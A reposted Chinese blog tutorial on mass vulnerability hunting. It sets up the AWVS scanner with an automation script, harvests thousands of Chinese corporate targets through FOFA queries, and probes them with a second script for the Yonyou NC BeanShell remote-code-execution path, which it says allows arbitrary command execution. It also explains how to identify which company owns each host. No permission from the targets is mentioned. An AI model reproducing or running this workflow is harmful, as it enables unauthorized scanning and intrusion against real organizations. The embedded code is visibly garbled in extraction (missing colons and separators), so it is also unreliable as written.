漏洞挖掘 | 渗透测试之批量刷洞技巧

admin 2025年1月26日12:30:15评论17 views字数 7234阅读24分6秒阅读模式

原文链接:https://forum.butian.net/share/582

作者:soufaker

漏洞挖掘 | 渗透测试之批量刷洞技巧
0x1 简易自动挖掘漏洞环境搭建 

一、服务器准备

这里我准备了两台服务器,一台是去年在淘宝买的一台2核4G的服务器,还有一台是公司的测试服务器,2核4G的就搭建awvs服务器,测试服务器上就远程到awvs服务器用脚本让它自己跑起来。

awvs服务器搭建(搭建在docker中):

1.在docker中拉取awvs13的镜像

docker pull secfa/docker-awvs

2.将docker的3443端口映射到服务器的任意一个端口,我这里映射的14434,也可以是其他端口。

docker run -it -d -p 14434:3443 secfa/docker-awvs

3.访问awvs即可

https://docker所在服务器的ip:映射的端口(我这里是14434)

漏洞挖掘 | 渗透测试之批量刷洞技巧

脚本准备:

我们在测试服务器上通过xshell连接工具连接到awvs服务器,然后运行联动脚本,为的就是让awvs一直运行下去,这里我在github上找了个比较好用的脚本(当然你可以自己选择脚本,github上也有很多),这个脚本的好处就在于自己选择awvs同时处理任务的数量,避免服务器卡死,作者是adiangga,代码如下:

import json
import time
import requests

requests.packages.urllib3.disable_warnings()  # 用于忽略SSL不安全信息

class AwvsApi(object):
    """
    Main Class
    """

    @staticmethod
    def Usage():
        usage = """
        +--------------------------------------------------------------+
        +                                                              +
        +            Awvs Tool for Low configuration VPS               +
        +                                                              +
        +                       By:AdianGg                             +
        +                                                              +
        +                    [email protected]                          +
        +                                                              +
        +--------------------------------------------------------------+
        Press your filename to start it!
        Example: target.txt
        format:http://www.example.com
        """
        print(usage)

    def __init__(self):
        self.info_color = "�33[32m[info]�33[0m"
        self.error_color = "�33[31m[Error]�33[0m"
        self.file_name = "tx-assets.txt"# 文件名
        self.api_host = "https://localhost:3443"# API地址
        self.api_key = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"# API key
        self.scan_mode = "11111111-1111-1111-1111-111111111112"# 扫描模式
        self.scan_speed = "moderate"# 扫描速度
        self.max_task = 6# 最大同步任务
        self.target_list_len = 1000# 任务总数
        self.target_list = []
        self.target_dict = {}
        self.headers = {
            'X-Auth': self.api_key,
            'content-type''application/json'
        }
        connect_status = self.checkConnect()
        if connect_status:
            print(self.info_color + "Awvs Api Connect Success")
            self.start()
        else:
            print(self.error_color + "Awvs Api Connect Error!")

    def start(self):
        """
        start do it !
        """
        print(self.info_color + "Read the target file .....")
        self.readTargetFile()
        self.target_list_len = len(self.target_list)
        print(self.info_color + "All  �33[34m" + str(self.target_list_len) +
              "�33[0m  Targets")
        print(self.info_color + "Scan Speed:" + self.scan_speed)
        self.addTarget()

    def addTarget(self):
        for i in self.target_list:
            data = {
                'address': i,
                'description''awvs-auto',
                'criticality''10'
            }
            api = self.api_host + "/api/v1/targets"
            add_result = requests.post(url=api,
                                       data=json.dumps(data),
                                       headers=self.headers,
                                       verify=False)
            target_id = add_result.json().get("target_id")
            self.setSpeed(target_id)
            self.target_dict[i] = target_id
        self.scanTarget()

    def scanTarget(self):
        target_num = 0
        api = self.api_host + "/api/v1/me/stats"
        whileTrue:
            stats_result = requests.get(url=api,
                                        headers=self.headers,
                                        verify=False)
            scan_num = stats_result.json().get("scans_running_count")
            if scan_num < self.max_task:
                if target_num == self.target_list_len:
                    print(self.info_color + "Done!")
                    break
                scan_target = self.target_list[target_num]
                scan_id = self.target_dict[scan_target]
                self.addScan(scan_target, scan_id)
                target_num += 1
            time.sleep(10)  # 检测延时

    def addScan(self, target, id):
        """
        add scan for run
        """
        api = self.api_host + "/api/v1/scans"
        data = {
            "target_id"id,
            "profile_id": self.scan_mode,
            "schedule": {
                "disable"False,
                "start_date"None,
                "time_sensitive"False
            }
        }
        add_result = requests.post(url=api,
                                   data=json.dumps(data),
                                   headers=self.headers,
                                   allow_redirects=False,
                                   verify=False)
        if add_result.status_code == 201:
            print(self.info_color + target + " ---add Success")
        else:
            print(self.error_color + target + "---add Failed")

    def setSpeed(self, target_id):
        """
        Set Scan Speed
        """
        api = self.api_host + "/api/v1/targets/" + target_id + "/configuration"
        data = {"scan_speed": self.scan_speed}
        speed_result = requests.patch(url=api, data=data, headers=self.headers, verify=False)

    def readTargetFile(self):
        """
        Get all the target to list
        """
        try:
            target_file = open(self.file_name, 'r')
            targets = target_file.readlines()
            for i in targets:
                self.target_list.append(i.strip("n"))
            print(self.info_color + "Target read success")
        except Exception as e:
            print(self.error_color + "Target File Error,Please Check")

    def checkConnect(self):
        """
        Check if the Awvs Connect Success
        return bool
        """
        api = self.api_host + "/api/v1/info"
        try:
            check_result = requests.get(url=api,
                                        headers=self.headers,
                                        verify=False)
        except Exception as e:
            returnFalse
        else:
            returnTrue

if __name__ == "__main__":
    try:
        AwvsApi.Usage()
        scan = AwvsApi()
    except Exception as e:
        print(AwvsApi.error_color + "Done!")

这里需要配置下awvs的api,我们登录awvs然后点击下图的profile,进入下滑到APIkey进行复制,放入上方代码中api_key字段中,其他的参数可以看注释自己调整。

漏洞挖掘 | 渗透测试之批量刷洞技巧

二、资产搜集

想必各位表哥都用过fofa,shodan,我平时用的比较多的还是fofa,这边我本次用的关键字是:title="集团" && after="2021-06-10" && before="2021-10-01" && country="CN",这边控制下时间和地区,时间选最近的这样挖出来的洞就很少撞车,这也是自己的经验给大家分享下,但是想要白嫖fofa我还是做不到,这里因为自己以前买了fofa的高级会员,所以可以搜索到很多链接,毕竟要想学技术还是得多花钱,这里我有一款是FishM4n制作的收集资产的工具,工具如图所示:

漏洞挖掘 | 渗透测试之批量刷洞技巧

需要填写fofa的邮箱和apikey然后输入自己的查询语法和条数就可以查询然后导出啦,关于apikey就在fofa的个人中心的个人信息里,如图:

漏洞挖掘 | 渗透测试之批量刷洞技巧

漏洞挖掘 | 渗透测试之批量刷洞技巧

然后就可以等一段时登录awvs服务器地址将上去薅漏洞了。
漏洞挖掘 | 渗透测试之批量刷洞技巧

漏洞挖掘 | 渗透测试之批量刷洞技巧
0x2 配合最近网上公开的漏洞进行薅漏洞

上一节是搭建的awvs联动挖洞,这个时候我们的手时空闲的,怎么办呢,肯定不能空着手干等吧,这个时候我们就可以找找网上近几个月刚出的漏洞,尤其是什么OA办公那种用的人很多,资产很足这样就能避免很多人一起挖漏洞不够挖了。

一、漏洞选择

我们可以上cnvd上看看那些通用的很多人在用的CMS,本次挖掘我选择了用友NC的BeanShell远程代码执行漏洞(CNVD-2021-30167),该漏洞也是最近才出不久,而且大家都知道用友NC还是很多企业在用的哈哈。

漏洞挖掘 | 渗透测试之批量刷洞技巧

二、资产收集

这里我们使用fofa,按照第一章的,使用工具进行批量爬取,fofa规则:icon_hash="1085941792" && country="CN",也是同样的操作,导出result.csv文件把第一列数据复制存入txt文件中。

漏洞挖掘 | 渗透测试之批量刷洞技巧

三、编写脚本确定是否存在漏洞

漏洞复现:

该漏洞复现非常简单,只需要在ip后加上/servlet/~ic/bsh.servlet.BshServlet,就可以进入shell界面任意执行命令如下:
漏洞挖掘 | 渗透测试之批量刷洞技巧

脚本编写:

该漏洞复现起来非常方便,这也是我选择它的原因之一,在我们在资产收集到几千个IP后,需要用脚本对它们进行验证,看是否存在该路径,当然这个脚本也很好写,毕竟复现起来简单嘛,我就随意写了一个,代码如下:

# author:soufaker
# time:2021/08/17
import requests

py_str = "/servlet/~ic/bsh.servlet.BshServlet"
head = {'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'
        }

success_code = []
withopen('NC.txt''r', encoding="utf-8"as f:
    for i in f:
        if i[0:4] != 'http':
            py_url = 'http://' + (i.strip('n')) + py_str
        else:
            py_url = (i.strip('n')) + py_str
        print(py_url)
        try:
            x = requests.get(py_url, allow_redirects=False, headers=head, timeout=2)
            if x.status_code == 200:
                success_code.append(py_url)
                print("ok")
        except:
            print('无法连接')
            continue

print(success_code)
withopen('success.txt''w+', encoding="utf-8"as f:
    for s in success_code:
        f.writelines(s + 'n')

漏洞地址收集:

我们使用脚本将收集到的IP拿去过滤,最后得到success.txt的文件就全部是有该漏洞的文件啦,然后就可以提交漏洞去了。
漏洞挖掘 | 渗透测试之批量刷洞技巧

四、IP归属查询

1.icp查询

常规查询网站icp备案查询:https://beian.miit.gov.cn/#/Integrated/index,这个都是大家都知道的方式了,不多说了。

漏洞挖掘 | 渗透测试之批量刷洞技巧

2.界面提示信息查询。

这种情况就像在遇到IP地址查不到备案的时候,像本次的用友NC,我们就需要进入他的登录页面去查询,很多都会把公司的名字给暴露出来如下图,这里是下载的ucclient,然后在ucclient中访问的页面,由于web页面那的环境太难搞了,所以采用这种方式,然后配合天眼查寻该系统提示信息,如果能唯一确认那就可以证明归属啦:

漏洞挖掘 | 渗透测试之批量刷洞技巧

漏洞挖掘 | 渗透测试之批量刷洞技巧

原文始发于微信公众号(神农Sec):漏洞挖掘 | 渗透测试之批量刷洞技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月26日12:30:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞挖掘 | 渗透测试之批量刷洞技巧https://cn-sec.com/archives/3676908.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息